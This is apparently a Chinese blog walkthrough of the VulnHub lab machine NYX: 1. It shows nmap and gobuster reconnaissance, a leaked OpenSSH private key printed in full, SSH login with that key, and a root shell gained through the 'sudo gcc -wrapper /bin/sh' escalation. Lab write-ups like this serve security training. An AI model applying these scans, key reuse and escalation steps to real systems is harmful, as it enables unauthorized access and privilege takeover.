vulnhub - NYX: 1
描述
这是一个简单的盒子,非常基本的东西。
它是基于vmware的,我不知道它是否可以在VB上运行,如果你愿意的话可以测试一下。
/home/$user/user.txt 和 /root/root.txt 下有 2 个标志。
信息收集
NYX靶ip:192.168.157.159
nmap -sT -sV -sC -O -p22,80 192.168.157.159
先看看网站
在源代码得到注释
<!-- Dont waste your time looking into source codes/robots.txt etc , focus on real stuff -->
不要浪费时间查看源代码/robots.txt等,专注于真实的东西
还是尝试一下目录扫描
sudo gobuster dir -u 192.168.157.159 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
没扫到有用信息,指定文件再扫一次
sudo gobuster dir -u 192.168.157.159 -x txt,php,jsp -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
访问/key.php
,是个输入框,看来还缺少key值
回到nmap漏洞探测
sudo nmap --script=vuln -p22,80 192.168.157.159
发现了/d41d8cd98f00b204e9800998ecf8427e.php
,访问得到一个rsa私钥
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA7T94TmbqiRlc6jGh6UOKyKVux+bYoskAdOybtgCfoh064CTHLTMT
HNnXWI8sT1Ml19svvVGnZZKmDTbS/7uOpgsmvO0pmqirCVo0UvD0YhKXVEwkTtmUvPBPAX
ucGRtefJcCtLWnSc4yMtzbYzSYEultUW5EfqqTwfjh48fxvLk1/kznO7EknxpLMupf6hJz
NbGLLbRwINeIjdC0k6iMdMrZ3n58Cho3kigNKSqcyBpkePE+RvnCBegtxBX/m1pUjPjYKY
zdZ0DROQyU3t7Wu6iX4TW688adHjAgXP7ERN0tL6RoJB9vHxO1GmGt5CLoJBYND1uLoTRe
p7xkIPwwgwAAA8iiu9/dorvf3QAAAAdzc2gtcnNhAAABAQDtP3hOZuqJGVzqMaHpQ4rIpW
7H5tiiyQB07Ju2AJ+iHTrgJMctMxMc2ddYjyxPU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ZkSCyPk8cVNx74Wvs4rxYl5pacmf
CR8v83WYMc6h4oBLmcxZsxMpaP8B/N7DZeS76A6idz+Cdj6BTmgMh7xFTXQOgB6Gh9LZmE
KXo/rW1gDQ8R+yFNAAAAC21wYW1waXNAbnl4AQIDBAUGBw==
-----END OPENSSH PRIVATE KEY-----
ssh登入
尝试利用这个私钥登入,尝试后发现用户名是mpampis
(一开始完全没注意。。)
登入成功拿到第一个flag
查看权限
mpampis@nyx:~$ sudo -l
Matching Defaults entries for mpampis on nyx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User mpampis may run the following commands on nyx:
(root) NOPASSWD: /usr/bin/gcc
mpampis@nyx:~$
在/usr/bin/gcc
可以直接执行,那就在https://gtfobins.github.io/可以搜索到相应的提权方法
sudo gcc -wrapper /bin/sh,-s .
提权成功,这里的root.txt是空的,就不去管了
总结
目录扫描时指定文件效果可能会更好
尽可能搜集多的信息并尝试利用
第一次接触到 https://gtfobins.github.io/ ,好用~
标签:bin,NYX,mpampis,192.168,vulnhub,157.159,txt,usr From: https://www.cnblogs.com/Mar10/p/18199789